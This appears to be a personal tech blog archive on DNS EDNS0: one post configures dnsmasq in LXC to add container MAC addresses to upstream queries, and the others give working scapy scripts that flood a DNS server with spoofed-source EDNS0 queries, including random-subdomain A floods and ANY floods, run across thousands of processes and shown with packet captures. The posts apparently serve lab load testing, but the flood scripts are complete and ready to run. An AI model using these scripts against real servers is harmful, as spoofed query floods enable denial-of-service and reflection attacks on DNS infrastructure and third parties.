lost and found ( for me ? )

Showing posts with label EDNS0. Show all posts
Showing posts with label EDNS0. Show all posts

LXC, dnsmasq : How to configure dnsmasq to have dnsmasq add MAC address of containers when dnsmasq sends DNS queries to other DNS servers.

hattori@ubuntu:~$ tail -1 /etc/lsb-release
DISTRIB_DESCRIPTION="Ubuntu 14.04.3 LTS"
hattori@ubuntu:~$

hattori@ubuntu:~$ dnsmasq --version
Dnsmasq version 2.68  Copyright (c) 2000-2013 Simon Kelley

By adding MAC address in DNS queries, DNS servers could identify devices even though those devices are behind NAT environment by looking at MAC address in DNS queries. ( If DNS servers can recognize that. )

dnsmasq can add MAC address in DNS queries in EDNS0.

man dnsmasq

      --add-mac
             Add the MAC address of the requestor to DNS  queries  which  are
             forwarded  upstream.  This  may  be used to DNS filtering by the
             upstream server. The MAC  address  can  only  be  added  if  the
             requestor is on the same subnet as the dnsmasq server. Note that
             the mechanism used to achieve this (an EDNS0 option) is not  yet
             standardised,  so  this  should be considered experimental. Also
             note that exposing MAC addresses in this way may  have  security
             and  privacy  implications.  The warning about caching given for
             --add-subnet applies to --add-mac too.

By default, dnsmasq does not add MAC address in DNS queries.

dnsmasq configuration file for LXC(lxc-net) is /etc/init/lxc-net.conf.
So I modified that so that dnsmasq can add MAC address into DNS queries.

Copy a current config file.

hattori@ubuntu:~$ sudo cp /etc/init/lxc-net.conf ./lxc-net.conf.20151024

Edit lxc-net.conf.
Add  '--add-mac' option in that file.

$ diff /etc/init/lxc-net.conf lxc-net.conf.20151024
65c65
< dnsmasq $LXC_DOMAIN_ARG -u lxc-dnsmasq --strict-order --bind-interfaces --pid-file=${varrun}/dnsmasq.pid --conf-file=${LXC_DHCP_CONFILE} --listen-address ${LXC_ADDR} --dhcp-range ${LXC_DHCP_RANGE} --dhcp-lease-max=${LXC_DHCP_MAX} --dhcp-no-override --except-interface=lo --interface=${LXC_BRIDGE} --dhcp-leasefile=/var/lib/misc/dnsmasq.${LXC_BRIDGE}.leases --dhcp-authoritative --add-mac || cleanup
---
> dnsmasq $LXC_DOMAIN_ARG -u lxc-dnsmasq --strict-order --bind-interfaces --pid-file=${varrun}/dnsmasq.pid --conf-file=${LXC_DHCP_CONFILE} --listen-address ${LXC_ADDR} --dhcp-range ${LXC_DHCP_RANGE} --dhcp-lease-max=${LXC_DHCP_MAX} --dhcp-no-override --except-interface=lo --interface=${LXC_BRIDGE} --dhcp-leasefile=/var/lib/misc/dnsmasq.${LXC_BRIDGE}.leases --dhcp-authoritative || cleanup


stop and start lxc-net to reflect that change.


check current PID of dnsmasq.

hattori@ubuntu:~$ cat /var/run/lxc/dnsmasq.pid
1480


Here are current options.

hattori@ubuntu:~$ ps aux | grep 1480 | grep -v grep
lxc-dns+  1480  0.0  0.0  28204   968 ?        S    10月23   0:00 dnsmasq -u lxc-dnsmasq --strict-order --bind-interfaces --pid-file=/run/lxc/dnsmasq.pid --conf-file= --listen-address 10.0.3.1 --dhcp-range 10.0.3.2,10.0.3.254 --dhcp-lease-max=253 --dhcp-no-override --except-interface=lo --interface=lxcbr0 --dhcp-leasefile=/var/lib/misc/dnsmasq.lxcbr0.leases --dhcp-authoritative
root      1533  0.0  0.0 450312 14808 ?        Sl   10月23   0:00 /usr/sbin/libvirtd -d


stop and start lxc-net.

hattori@ubuntu:~$ sudo stop lxc-net
lxc-net stop/waiting

hattori@ubuntu:~$ sudo start lxc-net
lxc-net start/running


hattori@ubuntu:~$ cat /var/run/lxc/dnsmasq.pid
6558

dnsmasq has started with --add-mac option.

hattori@ubuntu:~$ ps aux | grep 6558 | grep -v grep
lxc-dns+  6558  0.0  0.0  28204   960 ?        S    00:59   0:00 dnsmasq -u lxc-dnsmasq --strict-order --bind-interfaces --pid-file=/run/lxc/dnsmasq.pid --conf-file= --listen-address 10.0.3.1 --dhcp-range 10.0.3.2,10.0.3.254 --dhcp-lease-max=253 --dhcp-no-override --except-interface=lo --interface=lxcbr0 --dhcp-leasefile=/var/lib/misc/dnsmasq.lxcbr0.leases --dhcp-authoritative --add-mac


Start a container.

hattori@ubuntu:~$ sudo lxc-start -n ubuntu01 -d


Connect to the container and check MAC address of that container.

hattori@ubuntu:~$ sudo lxc-ls -f
NAME             STATE    IPV4       IPV6  AUTOSTART  
----------------------------------------------------
ubuntu-original  STOPPED  -          -     NO         
ubuntu01         RUNNING  10.0.3.47  -     NO         
ubuntu02         STOPPED  -          -     NO         
ubuntu03         STOPPED  -          -     NO         
ubuntu04         STOPPED  -          -     NO         
hattori@ubuntu:~$

hattori@ubuntu:~$ ssh 10.0.3.47 -l ubuntu
ubuntu@10.0.3.47's password:
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.13.0-66-generic x86_64)

* Documentation:  https://help.ubuntu.com/
Last login: Sat Oct 24 00:26:17 2015 from 10.0.3.1
ubuntu@ubuntu01:~$


Here is a resolv.conf of the container.
This container sends DNS queries to dnsmasq(10.0.3.1).

root@ubuntu01:~# cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver 10.0.3.1
root@ubuntu01:~#


Here is a MAC address of the container.

root@ubuntu01:~# ip addr show eth0 | grep 'link/ether'
   link/ether 00:16:3e:09:dc:c2 brd ff:ff:ff:ff:ff:ff


Here is a capture data collected on LXC host when dnsmasq sent DNS queries to other DNS servers.
Having looked at the capture data, you can see MAC address in DNS queries which was added by dnsmasq.

    Queries
       www.google.com: type A, class IN
           Name: www.google.com
           Type: A (Host address)
           Class: IN (0x0001)
   Additional records
       <Root>: type OPT
           Name: <Root>
           Type: OPT (EDNS0 option)
           UDP payload size: 4096
           Higher bits in extended RCODE: 0x0
           EDNS0 version: 0
           Z: 0x0
           Data length: 10
           Option: Unknown (65001)
               Option Code: Unknown (65001)
               Option Length: 6
               Option Data: 00163e09dcc2


scapy 2.2.0 dev: craft “random string”.foo.com A EDNS0 queries

Here is a sample script of crafting “random string”.foo.com A EDNS0 queries with spoofed IP addresses.

# cat -n send_random_A_EDNS0_query.py
    1  #!/usr/bin/env python
    2  # -*- coding: utf-8 -*-
    3
    4  ###
    5  # this script is for 2.2.0-dev
    6  # this script can generate crafted EDNS0 "random string".foo.com A queries with spoofed IP addresses
    7  # tested with Python 2.7.4
    8  ###
    9
   10  import multiprocessing
   11  import logging
   12  logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
   13
   14  from scapy.all import *
   15  import random
   16  import string
   17  import time
   18
   19  domain_string = string.ascii_lowercase + string.digits
   20  target_server = "192.168.10.11"
   21  interface_name = "br0"
   22
   23  def craft_DNS():
   24          for j in range(0,100):
   25                  a1 = ''.join(random.choice(domain_string) for x in range(10))
   26                  b1 = ''.join(random.choice(domain_string) for y in range(3))
   27                  target1 = a1 + "." + b1 + "." + "foo.com"
   28
   29                  send(IP(src=RandIP("10.0.0.0/8"), dst="%s" % target_server)/UDP(sport=RandShort(),dport=53)/DNS(rd=1L,id=RandShort(),qd=DNSQR(qname="%s" % target1, qtype="A", qclass="IN"), ar=DNSRROPT(rclass=4096)),verbose=False,iface="%s" % interface_name,loop=0)
   30
   31  if __name__ == '__main__':
   32          jobs = []
   33          for i in range(5000):
   34                  p = multiprocessing.Process(target=craft_DNS)
   35                  jobs.append(p)
   36                  p.start()
   37          p.terminate()

capture data collected on the target DNS server.
76 0.005761000 192.168.10.11 -> 10.36.88.148 DNS 93 Standard query response 0x4150
82 0.005962000  10.78.195.9 -> 192.168.10.11 DNS 93 Standard query 0x6e9d  A opfolq0new.h16.foo.com
84 0.006078000 192.168.10.11 -> 10.55.142.81 DNS 93 Standard query response 0xb67f
88 0.006358000 192.168.10.11 -> 10.187.137.156 DNS 93 Standard query response 0xd697
90 0.006590000 192.168.10.11 -> 10.169.60.242 DNS 93 Standard query response 0x0905
92 0.006840000 192.168.10.11 -> 10.110.137.121 DNS 93 Standard query response 0xa51f
94 0.006964000  10.65.14.73 -> 192.168.10.11 DNS 93 Standard query 0x3563  A 1ra08c4vts.kpw.foo.com
95 0.007080000 192.168.10.11 -> 10.237.130.164 DNS 93 Standard query response 0x22c7
97 0.007207000 10.102.218.191 -> 192.168.10.11 DNS 93 Standard query 0x1d18  A xqwtjpqi8f.yar.foo.com
98 0.007221000 10.71.23.177 -> 192.168.10.11 DNS 93 Standard query 0x1655  A rd4su27neq.r66.foo.com



 

scapy 2.2.0-dev : send a lot of ANY EDN0 queries with spoofed IP by using scapy and multiprocessing module

Plese note that this script is for scapy 2.2.0-dev

# cat -n send_ANY_EDNS0.py
    1  #!/usr/bin/env python
    2  # -*- coding: utf-8 -*-
    3
    4  ###
    5  # this script is for 2.2.0-dev
    6  # this script can generate crafted EDNS0 foo.bar ANY queries with spoofed IP addresses
    7  # tested with Python 2.7.4
    8  ###
    9
   10  import multiprocessing
   11  import logging
   12  logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
   13
   14  from scapy.all import *
   15  import random
   16  import string
   17  import time
   18
   19  domain_string = string.ascii_lowercase + string.digits
   20  target_server = "192.168.10.12"
   21  interface_name = "br0"
   22  target1 = "foo.bar"
   23
   24  # craft EDNS0 foo.bar ANY with spoofed IP addresses
   25  def craft_DNS():
   26          for j in range(0,100):
   27                  packet3 = (IP(src=RandIP("10.0.0.0/8"), dst="%s" % target_server)/UDP(sport=RandShort(),dport=53)/DNS(rd=1L,id=RandShort(),qd=DNSQR(qname="%s" % target1, qtype="ALL", qclass="IN"), ar=DNSRROPT(rclass=4096)))
   28                  send(packet3,verbose=False,loop=500,iface="%s" % interface_name)
   29                  return
   30
   31  if __name__ == '__main__':
   32          jobs = []
   33          for i in range(500):
   34                  p = multiprocessing.Process(target=craft_DNS)
   35                  jobs.append(p)
   36                  p.start()
   37          p.terminate()

I was able to generate around 3,000 queries/sec with my machine, which depends on machine’s spec.

# tshark -r b.pcap | grep "query 0x" | head -5
Running as user "root" and group "root". This could be dangerous.
 1 0.000000000 10.205.170.50 -> 192.168.10.12 DNS 78 Standard query 0x6d9d  ANY foo.bar
 2 0.000008000 10.43.165.159 -> 192.168.10.12 DNS 78 Standard query 0x9b08  ANY foo.bar
 5 0.000305000 10.127.169.156 -> 192.168.10.12 DNS 78 Standard query 0x82c3  ANY foo.bar
 6 0.000315000 10.217.216.26 -> 192.168.10.12 DNS 78 Standard query 0x2120  ANY foo.bar
 7 0.000320000  10.20.8.214 -> 192.168.10.12 DNS 78 Standard query 0x2cb8  ANY foo.bar

   Questions: 1
   Answer RRs: 0
   Authority RRs: 0
   Additional RRs: 1
   Queries
       foo.bar: type ANY, class IN
           Name: foo.bar
           Type: ANY (Request for all records)
           Class: IN (0x0001)
   Additional records
       <Root>: type OPT
           Name: <Root>
           Type: OPT (EDNS0 option)
           UDP payload size: 4096
           Higher bits in extended RCODE: 0x0
           EDNS0 version: 0
           Z: 0x8000
               Bit 0 (DO bit): 1 (Accepts DNSSEC security RRs)
               Bits 1-15: 0x0 (reserved)
           Data length: 0

scapy dev 2.2.0 : generate crafted EDNS0 A/ANY queries with spoofed IP addresses

Here is a sample script of generating crafted EDNS0 A/ANY DNS queries with spoofed IP addresses.
Please note that you need to use scapy dev 2.2.0 to generate EDNS0 queries.

# cat -n send_fake_EDNS0.py
    1  #!/usr/bin/env python
    2  # -*- coding: utf-8 -*-
    3
    4  ###
    5  # this script is for scapy 2.2.0-dev
    6  # this script can generate crafted EDNS0 DNS queries such as ANY EDNS0, A EDNS0, AAAA EDNS0 with spoofed IP addresses
    7  ###
    8
    9  import logging
   10  logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
   11
   12  from scapy.all import *
   13  import random
   14  import string
   15
   16  domain_string = string.ascii_lowercase + string.digits
   17  target_server = "192.168.100.100"
   18  interface_name = "br0"
   19
   20  for i in range(0,10):
   21          a1 = ''.join(random.choice(domain_string) for x in range(10))
   22          b1 = ''.join(random.choice(domain_string) for y in range(3))
   23          target1 = "www1.foo.com"
   24          target2 = a1 + "." + b1 + ".foo.com"
   25
   26  # make . ANY EDNS0 queries with spoofed IP addresses
   27          packet1 = (IP(src=RandIP("10.0.0.0/8"), dst="%s" % target_server)/UDP(sport=RandShort(),dport=53)/DNS(rd=1L,id=RandShort(),qd=DNSQR(qname=".", qtype="ALL", qclass="IN"), ar=DNSRROPT(rclass=4096)))
   28
   29  # make isc.org ANY EDNS0 queries with spoofed IP addresses
   30          packet2 = (IP(src=RandIP("10.0.0.0/8"), dst="%s" % target_server)/UDP(sport=RandShort(),dport=53)/DNS(rd=1L,id=RandShort(),qd=DNSQR(qname="isc.org", qtype="ALL", qclass="IN"), ar=DNSRROPT(rclass=4096)))
   31
   32  # make A EDNS0 random queries with spoofed IP addresses
   33          packet3 = (IP(src=RandIP("10.0.0.0/8"), dst="%s" % target_server)/UDP(sport=RandShort(),dport=53)/DNS(rd=1L,id=RandShort(),qd=DNSQR(qname="%s" % target2, qtype="A", qclass="IN"), ar=DNSRROPT(rclass=4096)))
   34
   35  # make A www1.foo.com EDNS0 queries with spoofed IP addresses
   36          packet4 = (IP(src=RandIP("10.0.0.0/8"), dst="%s" % target_server)/UDP(sport=RandShort(),dport=53)/DNS(rd=1L,id=RandShort(),qd=DNSQR(qname="%s" % target1, qtype="A", qclass="IN"), ar=DNSRROPT(rclass=4096)))
   37
   38  # generate DNS queries
   39          res1 = sr1(packet1,retry=False,timeout=0.000001,inter=0.000001,verbose=False,iface="%s" % interface_name)
   40          res2 = sr1(packet2,retry=False,timeout=0.000001,inter=0.000001,verbose=False,iface="%s" % interface_name)
   41          res3 = sr1(packet3,retry=False,timeout=0.000001,inter=0.000001,verbose=False,iface="%s" % interface_name)
   42          res4 = sr1(packet4,retry=False,timeout=0.000001,inter=0.000001,verbose=False,iface="%s" % interface_name)

Both the target DNS box and the traffic generating box need to be in the same network.

run the script
# ./send_fake_EDNS0.py

cap data collected on the target DNS server
target DNS: 192.168.100.100, Src IP addresses have been spoofed.
# tshark -r a.pcap | grep "Standard query 0x"
Running as user "root" and group "root". This could be dangerous.
 1 0.000000000  10.49.94.82 -> 192.168.100.100 DNS 70 Standard query 0xcac3  ANY <Root>
 3 0.007995000 10.218.240.123 -> 192.168.100.100 DNS 78 Standard query 0xe954  ANY isc.org
 5 0.015241000 10.45.151.201 -> 192.168.100.100 DNS 93 Standard query 0xaef1  A rz2pywl02a.3fl.foo.com
 6 0.015327000 192.168.100.100 -> 23.21.242.88 DNS 82 Standard query 0xa930  A rz2pywl02a.3fl.foo.com
 7 0.037229000 10.118.140.194 -> 192.168.100.100 DNS 83 Standard query 0x1de2  A www1.foo.com
 9 0.052719000 10.138.144.167 -> 192.168.100.100 DNS 70 Standard query 0xded3  ANY <Root>
11 0.073457000  10.19.2.156 -> 192.168.100.100 DNS 78 Standard query 0x08b4  ANY isc.org
13 0.109686000 10.127.199.236 -> 192.168.100.100 DNS 93 Standard query 0xed21  A o8hecnb4vr.5c4.foo.com
14 0.109761000 192.168.100.100 -> 23.21.242.88 DNS 82 Standard query 0x3342  A o8hecnb4vr.5c4.foo.com
15 0.117431000  10.85.47.43 -> 192.168.100.100 DNS 83 Standard query 0x08ca  A www1.foo.com
17 0.132922000 10.52.54.174 -> 192.168.100.100 DNS 70 Standard query 0x0769  ANY <Root>

DNS option
   Questions: 1
   Answer RRs: 0
   Authority RRs: 0
   Additional RRs: 1
   Queries
       isc.org: type ANY, class IN
           Name: isc.org
           Type: ANY (Request for all records)
           Class: IN (0x0001)
   Additional records
       <Root>: type OPT
           Name: <Root>
           Type: OPT (EDNS0 option)
           UDP payload size: 4096
           Higher bits in extended RCODE: 0x0
           EDNS0 version: 0
           Z: 0x8000
               Bit 0 (DO bit): 1 (Accepts DNSSEC security RRs)
               Bits 1-15: 0x0 (reserved)
           Data length: 0